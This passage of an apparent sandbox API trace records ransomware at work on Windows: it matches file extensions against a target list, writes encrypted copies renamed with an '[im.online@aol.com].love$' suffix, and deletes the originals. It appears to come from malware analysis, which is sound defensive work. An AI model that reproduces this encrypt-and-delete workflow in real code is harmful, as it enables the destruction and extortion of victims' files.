out: lpNewFilePointer=0x0) returned 1 [0103.763] SetEndOfFile (hFile=0x354) returned 1 [0103.765] CloseHandle (hObject=0x354) returned 1 [0103.765] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0103.765] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0103.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.766] lstrlenW (lpString=".doc") returned 4 [0103.766] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.766] lstrlenW (lpString=".docx") returned 5 [0103.766] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0103.766] lstrlenW (lpString=".pdf") returned 4 [0103.766] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.766] lstrlenW (lpString=".xls") returned 4 [0103.766] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.766] lstrlenW (lpString=".xlsx") returned 5 [0103.766] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0103.766] lstrlenW (lpString=".ppt") returned 4 [0103.766] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.766] lstrlenW (lpString=".zip") returned 4 [0103.766] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.766] lstrlenW (lpString=".rar") returned 4 [0103.766] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.766] lstrlenW (lpString=".bz2") returned 4 [0103.766] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.766] lstrlenW (lpString=".7z") returned 3 [0103.766] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.766] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.766] lstrlenW (lpString=".dbf") returned 4 [0103.767] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.767] lstrlenW (lpString=".1cd") returned 4 [0103.767] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.767] lstrlenW (lpString=".jpg") returned 4 [0103.767] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.767] lstrlenW (lpString=".doc") returned 4 [0103.767] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString=".docx") returned 5 [0103.767] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0103.767] lstrlenW (lpString=".pdf") returned 4 [0103.767] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString=".xls") returned 4 [0103.767] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString=".xlsx") returned 5 [0103.767] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0103.767] lstrlenW (lpString=".ppt") returned 4 [0103.767] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.767] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.767] lstrlenW (lpString=".zip") returned 4 [0103.767] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.767] lstrlenW (lpString=".rar") returned 4 [0103.768] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString=".bz2") returned 4 [0103.768] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString=".7z") returned 3 [0103.768] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.768] lstrlenW (lpString=".dbf") returned 4 [0103.768] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.768] lstrlenW (lpString=".1cd") returned 4 [0103.768] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0103.768] lstrlenW (lpString=".jpg") returned 4 [0103.768] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.768] lstrcmpiW (lpString1=".html", lpString2=".love$") returned -1 [0103.768] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0103.768] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0103.769] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=16118) returned 1 [0103.769] CloseHandle (hObject=0x354) returned 1 [0103.769] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0103.769] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0103.769] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.769] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.769] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0103.770] GetLastError () returned 0x0 [0103.770] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0103.773] WriteFile (in: hFile=0x318, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0103.775] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.775] WriteFile (in: hFile=0x318, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xf4, lpOverlapped=0x0) returned 1 [0103.775] SetEndOfFile (hFile=0x318) returned 1 [0103.775] CloseHandle (hObject=0x318) returned 1 [0104.663] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.663] SetEndOfFile (hFile=0x354) returned 1 [0104.664] CloseHandle (hObject=0x354) returned 1 [0104.664] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0104.664] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0104.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.680] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.680] lstrlenW (lpString=".doc") returned 4 [0104.680] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0104.680] lstrlenW (lpString=".docx") returned 5 [0104.680] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0104.681] lstrlenW (lpString=".pdf") returned 4 [0104.681] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0104.681] lstrlenW (lpString=".xls") returned 4 [0104.681] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0104.681] lstrlenW (lpString=".xlsx") returned 5 [0104.681] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0104.681] lstrlenW (lpString=".ppt") returned 4 [0104.681] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0104.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.681] lstrlenW (lpString=".zip") returned 4 [0104.681] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0104.681] lstrlenW (lpString=".rar") returned 4 [0104.681] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0104.681] lstrlenW (lpString=".bz2") returned 4 [0104.681] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0104.681] lstrlenW (lpString=".7z") returned 3 [0104.681] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0104.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.681] lstrlenW (lpString=".dbf") returned 4 [0104.681] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0104.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.681] lstrlenW (lpString=".1cd") returned 4 [0104.681] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0104.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.681] lstrlenW (lpString=".jpg") returned 4 [0104.681] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0104.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.681] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.681] lstrlenW (lpString=".doc") returned 4 [0104.681] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0104.681] lstrlenW (lpString=".docx") returned 5 [0104.681] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0104.681] lstrlenW (lpString=".pdf") returned 4 [0104.681] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0104.682] lstrlenW (lpString=".xls") returned 4 [0104.682] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0104.682] lstrlenW (lpString=".xlsx") returned 5 [0104.682] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0104.682] lstrlenW (lpString=".ppt") returned 4 [0104.682] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0104.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.682] lstrlenW (lpString=".zip") returned 4 [0104.682] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0104.682] lstrlenW (lpString=".rar") returned 4 [0104.682] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0104.682] lstrlenW (lpString=".bz2") returned 4 [0104.682] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0104.682] lstrlenW (lpString=".7z") returned 3 [0104.682] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0104.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.682] lstrlenW (lpString=".dbf") returned 4 [0104.682] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0104.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.682] lstrlenW (lpString=".1cd") returned 4 [0104.682] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0104.682] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0104.682] lstrlenW (lpString=".jpg") returned 4 [0104.682] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0104.682] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0104.682] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0104.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0104.825] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4136) returned 1 [0104.825] CloseHandle (hObject=0x318) returned 1 [0104.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0104.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0104.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0104.829] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.830] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0105.115] GetLastError () returned 0x0 [0105.115] ReadFile (in: hFile=0x318, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x1028, lpOverlapped=0x0) returned 1 [0105.150] WriteFile (in: hFile=0x374, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x1030, lpOverlapped=0x0) returned 1 [0105.152] ReadFile (in: hFile=0x318, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.152] WriteFile (in: hFile=0x374, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x100, lpOverlapped=0x0) returned 1 [0105.152] SetEndOfFile (hFile=0x374) returned 1 [0105.152] CloseHandle (hObject=0x374) returned 1 [0105.153] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.153] SetEndOfFile (hFile=0x318) returned 1 [0105.155] CloseHandle (hObject=0x318) returned 1 [0105.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0105.155] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0105.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.156] lstrlenW (lpString=".doc") returned 4 [0105.156] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.156] lstrlenW (lpString=".docx") returned 5 [0105.156] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0105.156] lstrlenW (lpString=".pdf") returned 4 [0105.156] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.156] lstrlenW (lpString=".xls") returned 4 [0105.156] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.156] lstrlenW (lpString=".xlsx") returned 5 [0105.156] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0105.156] lstrlenW (lpString=".ppt") returned 4 [0105.156] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.156] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.156] lstrlenW (lpString=".zip") returned 4 [0105.156] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.156] lstrlenW (lpString=".rar") returned 4 [0105.156] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.156] lstrlenW (lpString=".bz2") returned 4 [0105.157] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.157] lstrlenW (lpString=".7z") returned 3 [0105.157] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.157] lstrlenW (lpString=".dbf") returned 4 [0105.157] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.157] lstrlenW (lpString=".1cd") returned 4 [0105.157] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.157] lstrlenW (lpString=".jpg") returned 4 [0105.157] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.157] lstrlenW (lpString=".doc") returned 4 [0105.157] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.157] lstrlenW (lpString=".docx") returned 5 [0105.157] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0105.157] lstrlenW (lpString=".pdf") returned 4 [0105.157] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.157] lstrlenW (lpString=".xls") returned 4 [0105.157] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.157] lstrlenW (lpString=".xlsx") returned 5 [0105.157] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0105.157] lstrlenW (lpString=".ppt") returned 4 [0105.157] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.158] lstrlenW (lpString=".zip") returned 4 [0105.158] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.158] lstrlenW (lpString=".rar") returned 4 [0105.158] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.158] lstrlenW (lpString=".bz2") returned 4 [0105.158] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.158] lstrlenW (lpString=".7z") returned 3 [0105.158] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0105.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.158] lstrlenW (lpString=".dbf") returned 4 [0105.158] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0105.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.158] lstrlenW (lpString=".1cd") returned 4 [0105.158] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0105.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0105.158] lstrlenW (lpString=".jpg") returned 4 [0105.158] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0105.158] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0105.158] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0105.158] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0105.160] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=4450) returned 1 [0105.160] CloseHandle (hObject=0x374) returned 1 [0105.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0105.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0105.162] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.162] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0105.240] GetLastError () returned 0x0 [0105.240] ReadFile (in: hFile=0x2b8, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x1162, lpOverlapped=0x0) returned 1 [0105.595] WriteFile (in: hFile=0x338, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x1170, lpOverlapped=0x0) returned 1 [0105.600] ReadFile (in: hFile=0x2b8, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.600] WriteFile (in: hFile=0x338, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x108, lpOverlapped=0x0) returned 1 [0105.600] SetEndOfFile (hFile=0x338) returned 1 [0105.601] CloseHandle (hObject=0x338) returned 1 [0105.602] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.602] SetEndOfFile (hFile=0x2b8) returned 1 [0105.603] CloseHandle (hObject=0x2b8) returned 1 [0105.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0105.603] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0105.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.604] lstrlenW (lpString=".doc") returned 4 [0105.604] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0105.604] lstrlenW (lpString=".docx") returned 5 [0105.604] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0105.604] lstrlenW (lpString=".pdf") returned 4 [0105.604] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0105.604] lstrlenW (lpString=".xls") returned 4 [0105.604] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0105.604] lstrlenW (lpString=".xlsx") returned 5 [0105.604] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0105.604] lstrlenW (lpString=".ppt") returned 4 [0105.604] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0105.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0105.604] lstrlenW (lpString=".zip") returned 4 [0105.604] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0105.604] lstrlenW (lpString=".rar") returned 4 [0105.604] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0105.604] lstrlenW (lpString=".bz2") returned 4 [0105.604] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0105.604] lstrlenW (lpString=".7z") returned 3 [0105.604] lstrcmpiW 